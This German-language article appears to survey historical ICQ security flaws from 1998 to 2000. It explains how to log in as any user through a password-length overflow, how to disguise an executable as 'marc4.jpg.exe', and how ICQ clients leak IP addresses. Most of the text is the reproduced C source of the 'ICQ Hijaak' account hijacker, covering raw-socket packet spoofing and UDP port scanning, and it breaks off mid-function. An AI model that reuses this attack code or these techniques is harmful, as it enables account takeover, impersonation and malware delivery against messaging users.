1.0 Inhaltsverzeichnis
2.0 Einführung
3.0 Die Sicherheit
3.1 Die Sicherheitslücken
3.1.1 ICQ98a: Bufferoverflow
durch korrupte URL
3.1.2 ICQ98a: Datei-Endungen
vortäuschen
3.1.3 ICQ98b: ICQ-Hijacking
3.1.4 ICQ98b: IP-Sniffing
durch TCP-Pakete
3.1.5 ICQ98b: Message-Spoofing
3.1.6 ICQ99a: Passwörter
werden im Klartext gespeichert
3.1.7 ICQ99a: Unsichere Authentifizierung
3.1.8 ICQ99b: Bufferoverflow
dank URL
3.1.9 ICQ99b: Client-to-Client-Protokoll
3.1.10 ICQ99b: DoS-Attacke
dank guestbook.cgi
3.1.11 ICQ99b: DoS-Attacke
durch URL
3.1.12 ICQ99b: File-Sharing
3.1.13 ICQ2000: Und was
ist damit?
ICQ (Ausgesprochen "I seek you") konnte sich aufgrund
seines hohen Komforts und stetig wachsenden Funktionsumfang als
das meistgenutzte Chat-System, neben IRC (Internet Relay Chat),
des Internets durchsetzen. Eine Kommunikation kann auf zwei Wege
stattfinden: Entweder vom ICQ-Client über den Chat-Server zu einem
anderen User, oder direkt von Anwender zu Anwender. Offizielle und
inoffizielle ICQ-Clients finden sich für die verschiedensten Plattformen:
So sind welche für Windows 9x, Windows NT, Windows CE, Linux, MacOS,
BeOS, BSD und sogar Solaris erhältlich. Dies ist gewissermassen
eine Meisterleistung der Hersteller der inoffiziellen Client-Software,
da das eingesetzte Protokoll nicht öffentlich einsehbar ist. Für
Windows empfiehlt sich eindeutig das Nutzen des neuesten offiziellen
Clients von Mirabilis, da jener den besten Komfort
und höchste Sicherheit bietet und mit allen anderen Clients kompatibel
ist. Für Unix-Derivate wurde von Mirabilis
offiziell ein Java-Client herausgegeben, der jedoch niemals an die
Bedienerfreundlichkeit vieler inoffizieller Clients herankommt.
Für Linux gibt es neben den grafischen Clients für die Oberfläche
X auch diverse Programme für die Kommandozeile. Mein absoluter Favourit
ist zICQ, der zwar einige Einbussen in Punkto Funktionsumfang machen
muss, dafür stabil und schnell läuft. Es ist mir dadurch sogar möglich
ICQ portabel auf meinem Handy (NOKIA 9110) zu nutzen: Ich wähle
mich bequem unterwegs per Telnet auf meinem Linux-Server ein, um
danach den Konsolen-Client in Anspruch zu nehmen.
Jeder Nutzer des ICQ-Dienstes erhält bei seinem Eintritt in die
Community eine eindeutige Nummer, die UIN (Universal Identifier
Number) genannt wird. Diese Nummer ist mit der eindeutigen IP-Adresse
oder Telefon-Nummer vergleichbar, da sich dadurch andere User
finden und identifizieren lassen. Die Nummern werden additionell
1 vergeben. Das heisst, dass wenn ich bei meiner Registrierung
die Nummer 10742206 erhalten habe, der kommende Nutzer automatisch
die nächst höhere bekommen wird; also die UIN 10742207. Mitlerweile
existieren über 70000000 Nummern, und wer sich noch mit einer
7- oder gar 6-stelligen UIN brüsten darf, kann sich ohne weiteres
zu den alten Hasen zählen. UINs mit weniger Stellen werden nicht
öffentlich vergeben und vorzugsweise vom Person von ICQ (Mirabilis und AOL) genutzt. Möchte man jemanden finden, lassen
sich mit der Eingabe des vollständigen Namens, E-Mail-Adresse
oder UIN in das "elektronische Telefonbuch" von ICQ den Nutzer
einfach aufspüren. Es gibt auch die offiziellen weissen Seiten,
bei denen sich Benutzer des Dienstes in Listen eintragen lassen,
die sich einem speziellen Thema widmen.
Auf der sogenannten Kontakt-Liste sind alle User eingetragen,
mit denen man regelmässig in Kontakt steht. Auf jener Liste wird
stets aktuell ersichtlich, wer gerade online ist oder den PC für
einen kurzen Augenblick verlassen hat. Es ist möglich den eigenen
Status zu verändern, wobei auf der Kontaktliste des Gegenübers
automatisch der neue Status angezeigt wird. Die gängigen Zustände
reichen von "online" über "away" bis hin zu "do not disturb".
Möchte man nicht öffentlich zugeben, dass man mittels Internet-Zugang
zur Zeit im ICQ erreichbar ist, ändert man den eigenen Status
in "invisible", wobei nur noch
Auserwählte einem als "online" in der Kontakt-Liste registrieren
können. Nun ist es möglich mit wenigen Maus-Klicks oder Tasten-Kombinationen
einem ICQ-Nutzer in der eigenen Contact-List eine Message zukommen
zu lassen. Auch sind längere Chat-Sessions möglich, bei denen
ganz im Stile von iRC auch mehrere Anwender in real-time beiwohnen
können. Im Laufe der Zeit hat sich ICQ zu einer wahren Kommunikations-Schaltzentrale
entwickelt, da nun bei den neueren (Windows-)Clients auch das
Verschicken multimedialer Nachrichten möglich wird oder mittels
Plug-Ins Voice-over-IP genutzt werden
kann.
Kurz vor dem Erscheinen der Test-Version von ICQ 2000 machte
ein neues Add-On zu ICQ die Runde: Die sogenannte ActiveList.
Dadurch wird die
Usenet-ähnliche Zusammenhaltung einer Diskussion möglich. Der
Moderator muss als erstes die Server-Software auf dem heimischen
PC installieren und
die neu erstellte Liste im Internet anmelden. Ab da an können
Interessierte dieser Community beitreten, um einem zuvor spezifizierten
Thema in Form einer
Diskussion beizuwohnen. Diese Form der Unterhaltung konnte sich
(leider) nicht wirklich durchsetzen, da zu wenige ActiveList-Moderatoren
Standleitungen
besitzen, und das Nutzen dieses Zusatzdienstes somit nur temporär
möglich ist.
ICQ heimste sich in vergangener Zeit einiges an Unstimmigkeit
der Nutzer ein, da oft mögliche Hack-Versuche auf Sicherheitslücken
von ICQ abgeschoben
wurden. ICQ alleine ist jedoch selten für Angriffe als Ausgangslage
nutzbar, obwohl Remote-Bufferoverflows und DoS-Attacken bekannt
sind. Die grösste
Gefahr besteht bei einigen Clients, dass einem potentiellen Angreifer
zu viele Informationen über das vermeindliche Zielsystem mitgeteilt
wird: Neben der
aktuellen IP-Adresse werden oft auch private Informationen wie
die Anschrift oder Telefonnummer in den Details bekanntgegeben.
Diese potentielle
Sicherheitslücke wurde bei ICQ2000 unwiederruflich behoben. Auch
finden sich zahlreiche War-Tools im Internet, mit denen sich Benutzer
mit hunderten
von Nachrichten überfluten lassen. Die Ports, die ICQ-Clients
standartmässig öffnen ermöglichen nur in den seltensten Konfigurationen
direkte Angriffe - Viel mehr finden UIN-Übernahmen bei durch die
NETBIOS-Freigabe falsch konfigurierte Systeme statt.
Nützlicherweise kann man beim kleinen Chat-Tool vor
der Version 2000 seine eigene IP-Adresse verstecken lassen, so
dass andere ICQ-Benutzer in ihren Clients jene nicht mehr ohne
weiteres ausfindig machen können: Nach dem Öffnen der PopUp-Liste
wählt man den Eintrag "Preferences & Security" und
wählt "Security & Privacy". Danach öffnet sich ein
weiteres Fenster. Bei "Chance ContactList Authorisation"
ist es möglich anzugeben, dass jeder ICQ-User, der einem in seine
Contact-List aufnehmen möchte, zuerst um Erlaubnis fragen
muss. Selektiert man "my authorisation is required",
wird diese Funktion aktiv. Ist das Kästchen bei "IP Publishing"
aktiviert, ist die eigene IP-Adresse ohne fremde Hilfsmittel mittels
ICQ nicht herausfindbar. Das Veröffentlichen der eigenen IP-Adresse
mittels ICQ wird so unterdrückt. Trotzdem gibt es spezielle Tools,
die einem ein erstes Abtasten automatisieren lassen. Es gibt auch
die Möglichkeit dem Gegenüber eine Nachricht zukommen zu lassen,
und mit der Eingabe von "netstat -a" am heimischen Rechner
den Verbindungsaufbau auszuwerten. Ab ICQ2000 sind diese Attacken
jedoch nicht mehr durchführbar, da die eigene IP-Adresse vom Client
her nicht mehr verschickt werden darf.
In vergangener Zeit wurde in den einschlägigen Newsgroups immerwieder
die angeblich unberechenbare Sicherheit von ICQ diskutiert.
Viele ICQ-Versionen weisen Sicherheitslücken auf, die von Angreifern
remote für destruktive Zwecke genutzt werden können. Ein weiteres
Manko von ICQ besteht darin, dass der Chat-Client unbeholfen
relativ viel Informationen über das heimische System herausrückt.
Viele dieser besagten Informationen können für einen Angreifer
von besonderem Interesse sein. Auch das Nutzen einer Firewall
vermag viele der durch ICQ zu Tage tretenden Sicherheitslücken
nicht zu schliessen. Grundsätzlich sollte wirklich auf den Einsatz
von ICQ in zu schützenden Umgebungen verzichtet werden.
3.1 Die Sicherheitslücken
3.1.1 ICQ98a: Bufferoverflow
durch korrupte URL
Zack fand im Jahre 1998 eine ziemlich peinliche
Sicherheitslücke in Form eines Remote-Bufferoverflows bei
der Anmeldung des ICQ-Clients beim Mirabilis-Server, die jedoch
durch Mirabilis seit längerem behoben wurde.
Die offiziellen Clients benutzen höchstens die ersten 8
Zeichen des Passworts zur Authentifizierung; die anderen
Stellen werden einfach ignoriert, so wie dies auch bei der
Passwort-Anmeldung auf Unix-Systemen der Fall ist. Die Linux-Clones
machen dies nicht: Würde nun ein Passwort mit mehr als 8
Zeichen an den Mirabilis-Server geschickt werden, endet
die Aktion in einem Bufferoverrun und man kann sich mit
beliebiger UIN einloggen. Eine gute ICQ-Clone zur Durchführung
eines solchen Tests war der Client für Unix-Derivate namens
zICQ.
Als UIN musste im Config-File die gewünschte Nummer und
als Passwort simpel "123456789" (Einfach grösser
als die vorgesehene Länge!) eingetragen werden. Nach erfolgreichem
Eindringen konnten Nachrichten im Namen des Opfers geschickt
und empfangen werden.
Diese Attacke ist kein Spoofing, sondern ein simples Einloggen
unter falschem Namen. Bei Spoofing können nämlich keine
Nachrichten im Namen des anderen empfangen werden. Dieser
Trick funktionierte nicht, wenn jemand schon mit einer gültigen
UIN eingeloggt war. Der Fehler wurde relativ schnell von
Mirabilis behoben
und kann heute nicht mehr genutzt werden.
3.1.2 ICQ98a: Datei-Endung vortäuschen
Dieser nun folgend erklärt, von Justin Clift herausgefundene
Bug wurde mit dem Win32 ICQ-Client in der Version 98a 1.3
erfolgreich getestet. Auch funktioniert diese Attacke im beliebten
mIRC-Client. Schickt eine Person einem anderen User per ICQ
eine Datei, so erscheint ein PopUp-Fenster, in der der Empfänger
den Datei-Namen und die kurze
Beschreibung des Senders lesen kann. Nun hat der Empfänger
die Wahl, ob er die Daten verwerfen möchte, ob er sie speichern
will und ob sie nach dem speichern automatisch angezeigt bzw.
ausgeführt werden sollen.
Das Problem besteht nun darin, dass bei diesem PopUp-Fenster
der Ausschnitt für die Anzeige des Datei-Namens in gewissen
Fällen nicht ausreichend ist, und somit nur der Anfang des
Dateinamens angezeigt wird. Als Beispiel kann hier die ausführbare
Datei mit dem Namen "marc4.jpg.exe" genommen werden:
Der Empfänger sieht auf dem
Bildschirm nur "marc4.jpg" als Dateinamen; der
exekutive Rest wird ihm nicht angezeigt. Speichert der Empfänger
diese Sendung nun, und wählt die Option "Automatisches
Anzeigen" bzw. "Ausführen nach dem Speichern",
so wird nicht ein Bild angezeigt, sondern der vermeindlich
korrupter Programmcode ausgeführt.
Mirabilis wurde
über diesen Fehler informiert, sie versäumten es jedoch,
aktiv gegen diesen Fehler ihrerseits vorzugehen.
3.1.3 ICQ98b: ICQ-Hijacking
Ein Hacker namens Wumpus entwickelte
in C einen ICQ-Hijacker, der Sicherheitslücken des eingesetzten
Protokolls geschickt ausnutzt, um einen Account zu stehlen.
Ist ein User mit seinem Win32- oder Java-Client eingeloggt,
kann das Passwort dieses Accounts geändert werden, ohne das
ursprüngliche Passwort zu kennen. Sein Programm hijaak.c wurde erfolgreich
gegen die Versionen 1.22 bis 1.26 getestet und zog eine Clone
mit dem Namen wumpus4.c mit sich:
/*
ICQ Hijaak
Version 1C
Author: wumpus@innocent.com
Copyright (c) 1998 Wolvesbane
By downloading or compiling this
program, you agree to the terms
of this license. If you do
not agree with any of these terms you
MUST delete this
program immediately from all storage
areas
(including browser caches).
(A) You agree not
to use this program in any way that
would
constitute
a violate of any applicable
laws. This may
included
federal laws if you live in the
United States and
similar
laws regarding computer security in other countries.
(B) You agree to
hold the authors (referred to collective
as
Wolvesbane)
harmless in any damages that result due to
your
possession
or use of this software.
(C) Wolvesbane does not
claim that this program implements any
functions.
As the saying goes, "You get what you pay for." --
And you
didn't pay anything for this.
(D) This software is FREE
for _NON-COMMERCIAL_ use. You may not
use this
program for any commercial use (or any other activity
which makes
you money with the assistance of this
program).
The author
is not interested in commercial use of this program
(and cannot
think of what commercial use would consist of).
(E) This program was created
using Linux with IP-Masquerading to
run the
ICQ program unmodified and without any dissassembly.
The
testing was done with volunteers,
and with a second
computer
logged into the ICQ network.
No ICQ users were
harmed
in the creation or testing of this program.
(F) This copyright applies only
to the code written by Wolvesbane,
and not
to anything included under Fair Use.
(G) Please note that if you use
ANY sections of this code in your
work,
(which I expressly allow
as long as it
is
NON-COMMERCIAL),
you are obligated to give me some credit in
your
comments (if it is a source
file ) or in a string
constant
if it is a binary file. If you do not wish to do
so,
you may
NOT include ANY portion of this file in your own work.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
/* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
int * addr_count,
struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int
u16;
typedef unsigned long int
u32;
typedef unsigned char
u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o))
))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o))
))
unsigned char icq_check_data[256] = {
0x0a, 0x5b,
0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
0x20, 0x63,
0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
0x69, 0x66,
0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
0x73, 0x6f,
0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
0x43, 0x51,
0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
0x2e, 0x20,
0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
0x65, 0x6c,
0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
0x6f, 0x75,
0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
0x72, 0x6f,
0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
0x22, 0x70,
0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
0x6e, 0x63,
0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
0x63, 0x22,
0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
0x51, 0x20,
0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
0x6d, 0x20,
0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
0x6f, 0x75,
0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
0x6e, 0x20,
0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
0x6e, 0x74,
0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
0x6e, 0x65,
0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
0x64, 0x69,
0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
0x6e, 0x0a,
0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
0x6e, 0x27,
0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
0x6d, 0x62,
0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
0x74, 0x20,
0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
0x69, 0x64,
0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
0x62, 0x6c,
0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
0x6b, 0x20,
0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
0x73, 0x65,
0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
0x65, 0x74,
0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
0x6c, 0x6f,
0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
0x6c, 0x6c,
0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
0x67, 0x65,
0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
0x20, 0x69,
0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES
255
int Resolve( char * hostname, struct in_addr * addr
) {
struct
hostent * hinfo;
(void)memset(
(void *)addr, 0, sizeof( struct in_addr ));
if ( inet_aton(
hostname, addr) ) return SUCCESS;
if ( !(hinfo
= gethostbyname( hostname ) ) ) return FAILURE;
(void)memcpy(
(void *)addr, (void *)hinfo->h_addr,
sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
struct
in_addr ** addresses ) {
int
host_count;
int
i;
char
* p;
struct
in_addr
address;
struct
hostent
* hinfo;
if ( inet_aton(
hostname, &address ) ) {
p = (char *)malloc(sizeof(address));
if ( !p ) {
fprintf(stderr,"MultiResolve: Allocation failed!\n");
return FAILURE;
}
(void)memcpy((void *)p,(void *)&address, sizeof(address)
);
*addr_count = 1;
*addresses = (struct in_addr *)p; return SUCCESS; }
if ( !(hinfo
= gethostbyname(hostname) ) ) return FAILURE;
if ( hinfo->h_length
!= sizeof( struct in_addr ) ) {
fprintf(stderr,"MultiResolve: h_length (%d) not
equal "\
"to size of struct inaddr (%d) ",
hinfo->h_length, sizeof(struct in_addr) );
return FAILURE;
}
host_count
= 0;
for (i
= 0; i < MAX_NUM_ADDRESSES; i++ ) {
struct in_addr * addr_ptr;
addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
if ( !addr_ptr )
break;
host_count++;
}
p = (char
*)malloc( host_count * hinfo->h_length );
if ( !p
) {
fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
host_count * hinfo->h_length );
return FAILURE;
}
*addresses
= (struct in_addr *)p;
for ( i
= 0; i < host_count; i++ ) {
(void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
hinfo->h_length ); p += hinfo->h_length; }
*addr_count
= host_count; return SUCCESS; }
#define IP_VERS
0
#define IP_TOS
1
#define IP_TOTLEN
2
#define IP_ID
4
#define IP_FLAGS
6
#define IP_TIMETOLIVE 8
#define IP_PROTOCOL 9
#define IP_CHECKSUM 10
#define IP_SRC
12
#define IP_DST
16
#define IP_END
20
#define UDP_SOURCE 0
#define UDP_DEST
2
#define UDP_LENGTH 4
#define UDP_CHECKSUM 6
#define UDP_END
8
#define UCHDR_SOURCE 0
#define UCHDR_DEST 4
#define UCHDR_PROTOCOL 9
#define UCHDR_UDPLEN 10
#define UCHDR_END
12
#define ICMP_TYPE
0
#define ICMP_CODE
1
#define ICMP_CHECKSUM 2
#define ICMP_END
4
u16 cksum( u16 * buf, int numWords ) {
u32 sum;
sum = 0;
while ( numWords -- ) { sum += *(buf++); }
sum = (
sum >> 16) + ( sum & 0xffff ); sum += ( sum
>> 16 );
return
~sum ; }
void make_ip_hdr(
u8 * packet, int
length, u8 protocol,
u16
id, u16 flags, struct in_addr
me,
struct in_addr you, u8
ttl ) {
memset(
packet, 0, IP_END );
byte(*packet,
IP_VERS ) = 0x45;
word(*packet,
IP_TOTLEN ) = htons( length );
byte(*packet,
IP_TIMETOLIVE ) = ttl;
byte(*packet,
IP_PROTOCOL ) = protocol;
word(*packet,
IP_ID ) = htons( id );
word(*packet,
IP_FLAGS ) = htons( flags );
dword(*packet,IP_SRC
) = *((u32 *)&me);
dword(*packet,IP_DST
) = *((u32 *)&you);
word(*packet,
IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr( u8
* packet, int udplength, u16
sport,
u16 dport ) {
u8
* udp;
static
u8 chdr[UCHDR_END];
u32
pchecksum;
memset(
chdr, 0, UCHDR_END );
udp =
packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4
);
memset(
udp, 0, UDP_END );
word(*udp,
UDP_SOURCE ) = htons( sport );
word(*udp,
UDP_DEST ) = htons( dport );
word(*udp,
UDP_LENGTH ) = htons( udplength );
memcpy(
chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
byte( *chdr,
UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
word( *chdr,
UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
pchecksum
= ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) &
0xFFFF;
if ( udplength
& 1 ) { byte( *udp, udplength + 1 ) = 0; }
pchecksum
+= ( ~cksum((u16 *)udp, udplength/ 2
+ (udplength&1))
) & 0xFFFF; pchecksum += ( pchecksum
>> 16 );
word( *udp,
UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
int
s;
int
option;
s = socket(
AF_INET, SOCK_RAW, IPPROTO_RAW );
if ( s
< 0 ) { perror("Socket:"); exit(-1); }
option
= 1;
if ( setsockopt(
s, IPPROTO_IP, IP_HDRINCL,
(char *)&option, sizeof( option ) ) < 0 )
{
perror("Setting IP_HDRINCL"); exit(0); }
return
s; }
int GetLocalAddress( struct in_addr remote, struct
in_addr * local )
{
struct
sockaddr_in laddress;
struct
sockaddr
* laddr = (struct sockaddr *)&laddress;
struct
sockaddr_in raddress;
struct
sockaddr
* raddr = (struct sockaddr *)&raddress;
int
s;
int
err;
int
len;
s = socket(
AF_INET, SOCK_DGRAM, IPPROTO_UDP );
if ( s
< 1 ) {
return FAILURE;
}
raddress.sin_port
= htons( 1984 ); /* DON'T CARE */
raddress.sin_family
= AF_INET;
raddress.sin_addr
= remote;
err =
connect(s, raddr, sizeof(raddress ));
if ( err
< 0 ) {
return FAILURE;
}
len = sizeof(laddress);
err = getsockname(s,
laddr, &len );
if ( err
< 0 ) {
return FAILURE;
}
*local
= laddress.sin_addr;
close(s);
return
SUCCESS;
}
int CreateICMPSocket( void )
{
int s;
s = socket(
AF_INET, SOCK_RAW, IPPROTO_ICMP );
if ( s
< 1 )
return FAILURE;
return
s;
}
int SendUDP( int s, struct in_addr source, struct
in_addr dest,
u16 sport, u16 tport )
{
static
u8 packet[576];
struct
sockaddr_in raddress;
struct
sockaddr
* raddr = (struct sockaddr *)&raddress;
int
psize;
int
err;
raddress.sin_port
= htons( 1984 ); /* DON'T CARE */
raddress.sin_family
= AF_INET;
raddress.sin_addr
= dest;
psize
= IP_END + UDP_END + 6;
make_ip_hdr(
packet, psize, IPPROTO_UDP, 0x666, 0,
source, dest, 0x7F );
make_udp_hdr(
packet, psize - IP_END, sport, tport);
err =
sendto( s, packet, psize, 0,raddr, sizeof(raddress));
if ( err
!= psize ) {
perror("Sending");
return FAILURE;
}
return
SUCCESS;
}
const int verify_secs
= 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
int
s_icmp;
struct
timeval start_time, end_time, wait_time;
fd_set
rdfs;
int
err;
static
u8 packet[1500]; /*
should be max MTU */
struct
sockaddr junkaddr;
int
junksize;
u8
* icmphdr;
u8
* fiphdr;
u8
* fudphdr;
int
len;
int
got_unreach;
struct
in_addr localaddr;
int
rawsock;
if ( GetLocalAddress(addr,
&localaddr) == FAILURE ) {
perror("GetLocalAddress");
exit(-1); }
s_icmp
= CreateICMPSocket();
if ( s_icmp
== FAILURE ) { perror("Getting ICMP socket"); exit(-1);
}
rawsock
= CreateRawSocket();
if ( rawsock
< 0 ) { perror("Getting Raw socket"); exit(-1); }
FD_ZERO(
&rdfs ); FD_SET( s_icmp, &rdfs );
if ( SendUDP(rawsock,
localaddr, addr, 0x1984, port ) == FAILURE ) {
perror("Sending UDP packet"); exit(-1); }
got_unreach
= 0; gettimeofday( &start_time, NULL );
do { wait_time.tv_usec
= 0; wait_time.tv_sec = verify_secs;
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time
);
if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1);
}
if ( !err ) break;
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, 1500, 0,
&junkaddr, &junksize );
if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
exit(-1); }
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) )
)
goto check_timeout;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
goto check_timeout;
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)
) ) )
goto check_timeout;
fudphdr = fiphdr + len;
if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
got_unreach = 1; break; }
check_timeout:
gettimeofday( &end_time, NULL );
} while
( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs
);
close(
s_icmp ); close( rawsock);
if ( got_unreach
) return FAILURE;
else return SUCCESS;
}
typedef struct foobar
{
int
next;
int
prev;
u16
rem_port;
int
times;
} port_info;
#define MAX_BURST
128
#define UNUSED_HEAD MAX_BURST
+ 1
#define UNUSED_TAIL MAX_BURST
+ 2
#define LIVE_HEAD
MAX_BURST + 3
#define LIVE_TAIL
MAX_BURST + 4
#define FIRST_LPORT 55000
#define SEND_COUNT 3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end,
u16 * tport )
{
int
unused_head;
int
unused_tail;
int
live_head;
int
live_tail;
int
i;
port_info
List[ LIVE_TAIL + 1 ];
int
Current[ MAX_BURST ];
int
cur_min, cur_max;
int
now_port;
int
delay;
int
my_port;
int
cur_send;
struct
timeval wait_time;
fd_set
rdfs;
int
err;
int
s_icmp, rawsock;
struct
in_addr localaddr;
*tport
= 0;
if ( GetLocalAddress(addr,
&localaddr) == FAILURE ) {
perror("GetLocalAddress"); return FAILURE; }
s_icmp
= CreateICMPSocket();
if ( s_icmp
== FAILURE ) {
perror("Getting ICMP socket"); return FAILURE; }
rawsock
= CreateRawSocket();
if ( rawsock
< 0 ) {
perror("Getting Raw socket"); return FAILURE; }
FD_ZERO(
&rdfs );
FD_SET(
s_icmp, &rdfs );
List[ LIVE_TAIL
].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
List[ LIVE_TAIL
].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
List[ LIVE_HEAD
].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
List[ UNUSED_TAIL
].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
List[ UNUSED_TAIL
].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
List[ UNUSED_HEAD
].next = UNUSED_TAIL;
List[ UNUSED_HEAD
].rem_port = 0;
for ( i
= 0; i < MAX_BURST ; i++ ) {
PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i
) = 0;
TIMES( i ) = SEND_COUNT; }
now_port
= start;
cur_min
= now_port;
cur_max
= MAX_BURST;
my_port
= FIRST_LPORT;
cur_send
= 16;
while
( 1 ) {
int cur;
int cnt;
cur_max = cur_send;
cur_min = now_port;
cur = List[ LIVE_HEAD ].next;
cnt = 0;
while ( NEXT(cur) != -1 ) {
if (!cur_max ) {
break;
}
cnt++;
if ( SendUDP(rawsock, localaddr, addr,
my_port, PORT(cur) ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
cur_max--;
TIMES(cur)--;
cur = NEXT(cur);
if ( NEXT(cur) > LIVE_TAIL ) {
printf("Ugh! %d \n", NEXT(cur) );
exit(-1);
}
}
for ( i = 0; i < cur_max ; i ++ ) {
int node;
if ( cur_min > end )
break;
node = NEXT( UNUSED_HEAD );
if ( -1 == NEXT( node ) )
break;
NEXT( UNUSED_HEAD ) = NEXT( node );
PREV( NEXT(node) ) = UNUSED_HEAD;
PREV( node ) = PREV( LIVE_TAIL );
NEXT( node ) = LIVE_TAIL;
NEXT( PREV( node ) ) = node;
PREV( NEXT( node ) ) = node;
PORT( node ) = cur_min + i;
if ( SendUDP(rawsock, localaddr, addr,
my_port, cur_min+i ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
Current[ i ] = node;
}
if ( ( now_port >= end ) &&
( !cnt ) ) {
printf("Found nothing!\n");
return SUCCESS;
}
now_port += cur_max;
/*
* Delay, waiting for responses. Continue until the
* operation times out, meaning that we waited long enough
* for a packet..
*/
cnt = 0;
while ( 1 ) {
int junksize;
static struct sockaddr junkaddr;
static u8 packet[1500];
int len;
u8 * icmphdr, * fiphdr,
*fudphdr;
int got_port;
int cur;
wait_time.tv_usec = 0;
wait_time.tv_sec = 5;
FD_SET( s_icmp, &rdfs );
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time
);
if ( -1 == err ) {
perror("UDPSCAN - Select");
return FAILURE;
}
if ( !err ) {
break;
}
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, sizeof(packet), 0,
&junkaddr, &junksize );
if ( -1 == err ) {
perror("UDPSCAN - recvfrom: ");
exit(-1);
}
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
continue;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
continue;
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) !=
*((u32 *)&addr) ) ) )
continue;
fudphdr = fiphdr + len;
got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;
if ( ( got_port >= cur_min ) &&
( got_port < (cur_min+cur_max) ) ) {
